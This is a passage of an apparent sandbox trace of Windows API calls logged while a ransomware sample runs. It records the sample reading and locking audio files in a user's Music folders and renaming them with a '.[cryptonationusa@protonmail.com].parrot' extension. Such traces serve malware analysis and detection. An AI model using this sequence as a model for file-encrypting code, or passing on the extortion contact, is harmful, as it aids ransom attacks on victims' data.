lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.100] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.100] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb5a4, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xb5a4, lpOverlapped=0x0) returned 1 [0093.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.104] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.105] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb6bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.105] CloseHandle (hObject=0x258) returned 1 [0093.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0093.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x664808 [0093.105] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\30 A9zAxcEf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\30 a9zaxcef.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\30 A9zAxcEf.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\30 a9zaxcef.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.109] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ad0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.109] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.109] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.109] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.110] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x69b8, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x69b8, lpOverlapped=0x0) returned 1 [0093.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.111] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.111] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ad0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.111] CloseHandle (hObject=0x258) returned 1 [0093.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0093.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666250 [0093.112] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\6YMhqj.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\6ymhqj.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\6YMhqj.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\6ymhqj.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.114] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbb8b, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.114] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.114] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.115] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.115] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xba73, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xba73, lpOverlapped=0x0) returned 1 [0093.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.117] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.117] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbb8b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.117] CloseHandle (hObject=0x258) returned 1 [0093.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0093.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666250 [0093.118] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\Iltn_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\iltn_.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\Iltn_.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\iltn_.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.124] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf73c, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.124] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.124] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.124] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.125] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf624, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xf624, lpOverlapped=0x0) returned 1 [0093.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.127] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.128] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf73c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.128] CloseHandle (hObject=0x258) returned 1 [0093.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0093.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x664808 [0093.129] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\K0lDwYsu0v1If.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\k0ldwysu0v1if.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\K0lDwYsu0v1If.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\k0ldwysu0v1if.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.134] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.134] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.134] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.135] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18be0, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x18be0, lpOverlapped=0x0) returned 1 [0093.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.139] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.141] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\rGATfYCEmh.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\rgatfycemh.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\rGATfYCEmh.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\rgatfycemh.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.144] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.144] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.145] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.145] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7271, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x7271, lpOverlapped=0x0) returned 1 [0093.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.147] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.149] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\wScYxFJ4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\wscyxfj4.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\wScYxFJ4.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\wscyxfj4.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.152] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.152] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.153] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.153] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17106, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x17106, lpOverlapped=0x0) returned 1 [0093.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.156] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.158] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\ZFrUvmZLxFWeFv2.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\zfruvmzlxfwefv2.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\ZFrUvmZLxFWeFv2.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\po_5hbeqdz1fe\\zfruvmzlxfwefv2.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.164] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.164] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf09a1e0, ftCreationTime.dwHighDateTime=0x1d5bcc4, ftLastAccessTime.dwLowDateTime=0xc4d709a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4d709a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.165] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f3765a0, ftCreationTime.dwHighDateTime=0x1d5bbfb, ftLastAccessTime.dwLowDateTime=0x4da8ca10, ftLastAccessTime.dwHighDateTime=0x1d5c24f, ftLastWriteTime.dwLowDateTime=0xc4cfe580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="30 A9zAxcEf.m4a.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="30A9ZA~1.PAR")) returned 1 [0093.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0093.165] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.165] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0093.166] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.166] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7302, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x7302, lpOverlapped=0x0) returned 1 [0093.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.167] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.168] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rAzgtGkLldJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\razgtgklldj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rAzgtGkLldJ.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\razgtgklldj.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.171] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RZybOIjH\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.171] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.171] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38a66cd0, ftCreationTime.dwHighDateTime=0x1d5bb01, ftLastAccessTime.dwLowDateTime=0xc6a500d0, ftLastAccessTime.dwHighDateTime=0x1d5c45e, ftLastWriteTime.dwLowDateTime=0xc6a500d0, ftLastWriteTime.dwHighDateTime=0x1d5c45e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.171] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.171] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.171] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e5ebc0, ftCreationTime.dwHighDateTime=0x1d5bbfe, ftLastAccessTime.dwLowDateTime=0x4fcf3090, ftLastAccessTime.dwHighDateTime=0x1d5c15f, ftLastWriteTime.dwLowDateTime=0x4fcf3090, ftLastWriteTime.dwHighDateTime=0x1d5c15f, nFileSizeHigh=0x0, nFileSizeLow=0x10d64, dwReserved0=0x0, dwReserved1=0x0, cFileName="4LYCoWJ_ ZTG.wav", cAlternateFileName="4LYCOW~1.WAV")) returned 1 [0093.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0093.171] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.171] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.172] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.172] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10d64, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x10d64, lpOverlapped=0x0) returned 1 [0093.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.176] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.176] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RZybOIjH\\4LYCoWJ_ ZTG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rzyboijh\\4lycowj_ ztg.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RZybOIjH\\4LYCoWJ_ ZTG.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rzyboijh\\4lycowj_ ztg.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.227] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.227] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.228] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.228] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x348e, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x348e, lpOverlapped=0x0) returned 1 [0093.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.231] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.231] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RZybOIjH\\iEA97_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rzyboijh\\iea97_.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RZybOIjH\\iEA97_.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rzyboijh\\iea97_.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.235] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RZybOIjH\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.235] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38a66cd0, ftCreationTime.dwHighDateTime=0x1d5bb01, ftLastAccessTime.dwLowDateTime=0xc4e2f080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4e2f080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.235] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e5ebc0, ftCreationTime.dwHighDateTime=0x1d5bbfe, ftLastAccessTime.dwLowDateTime=0x4fcf3090, ftLastAccessTime.dwHighDateTime=0x1d5c15f, ftLastWriteTime.dwLowDateTime=0xc4d96b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x10e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="4LYCoWJ_ ZTG.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="4LYCOW~1.PAR")) returned 1 [0093.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0093.236] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0093.236] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4d96b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4d96b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.237] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, 